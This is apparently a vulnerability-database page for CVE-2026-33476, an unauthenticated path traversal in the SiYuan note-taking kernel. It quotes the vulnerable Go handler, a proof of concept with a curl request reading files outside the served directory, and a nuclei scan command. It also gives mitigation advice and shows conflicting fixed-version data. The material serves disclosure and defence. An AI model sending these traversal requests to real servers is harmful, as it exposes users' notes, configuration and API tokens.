NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-33476 — kernel

HIGHFix: siyuan-note/siyuan@009bb59

CVE-2026-33476 is a high-severity (CVSS 7.5) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

SiYuan has an Unauthenticated Arbitrary File Read via Path Traversal

Also known asGHSA-hhgj-gg9h-rjp7GO-2026-4802
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33476.

EPSS Exploitation Probability

via FIRST.org ↗
3.3%probability of exploitation in next 30 days
Lower Risk+0.07%
Lower risk than most CVEs89th percentile — riskier than 89% of all scored CVEsHighest risk
0.00%1.41%2.82%4.23%0.3%3.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/siyuan-note/siyuan/kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

Details

Vulnerable Code Location

File: kernel/server/serve.go

siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
    filePath := filepath.Join(
        appearancePath,
        strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
    )
    ...
    c.File(filePath)
})

Technical Root Cause

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

Key issues:

1. Unsanitized User Input

The path component extracted from the request is not validated or normalized to prevent traversal.

strings.TrimPrefix(c.Request.URL.Path, "/appearance/")

This preserves sequences such as:

../
..\ (Windows)

2. Unsafe Path Joining

filepath.Join() does not enforce directory confinement.

This escapes the intended directory.

3. Direct File Serving

The resolved path is served without verification:

c.File(filePath)

Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

File: session.go

if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
    c.Next()
    return
}

This allows attackers to access the vulnerable endpoint without a session or token.

Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

GET /appearance/../../data/conf.json HTTP/1.1
Host: target

Because authentication is bypassed, the attack requires no credentials.

PoC

Step 1 — Create marker file

mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt

Step 2 — Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Step 3 — Confirm service works

Open in browser:

http://127.0.0.1:6806

Exploit PoC

Method A — using CURL command

Use --path-as-is so curl does NOT normalize ../.

curl -v --path-as-is \
  "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"

Output

HTTP/1.1 200 OK
POC_EXPLOITED

Method B — Using Browser

http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt

If method B is not working, use method A, which is CURL command to do the exploit

Impact

An unauthenticated attacker can read arbitrary files accessible to the server process, including:

  • Workspace configuration files
  • User notes and stored data
  • API tokens and secrets
  • Local system files (depending on permissions)

This may lead to:

  • Sensitive information disclosure
  • Credential leakage
  • Further compromise through exposed secrets

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versionsNo fix

Affected Products

1 product · 1 configurations
Application
siyuanb3log
< 3.6.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of github.com/siyuan-note/siyuan/kernel for CVE-2026-33476. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

How to detect CVE-2026-33476

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2026-33476 -u https://target
Template
SiYuan <= v3.6.1 - Path Traversal
Severity
high
Impact
Unauthenticated attackers can read arbitrary files accessible to the server, potentially exposing sensitive information.
Remediation
Update to version 3.6.2 or later.

Template by ProjectDiscovery nuclei-templates (WRG-11), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

## Summary The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.** Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. ## Details Vulnerable Code Location **File: kernel/server/serve.go** ``` sh siyuan.GET("/appearance/*filepath", func(c *gin.Context) { filePath := filepath.Join( appearancePath, strings.TrimPrefix(c.Request.URL.Path, "/ap
O3 Security · Impact-Aware SCA

Is CVE-2026-33476 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-33476: kernel Path Traversal (High 7.5)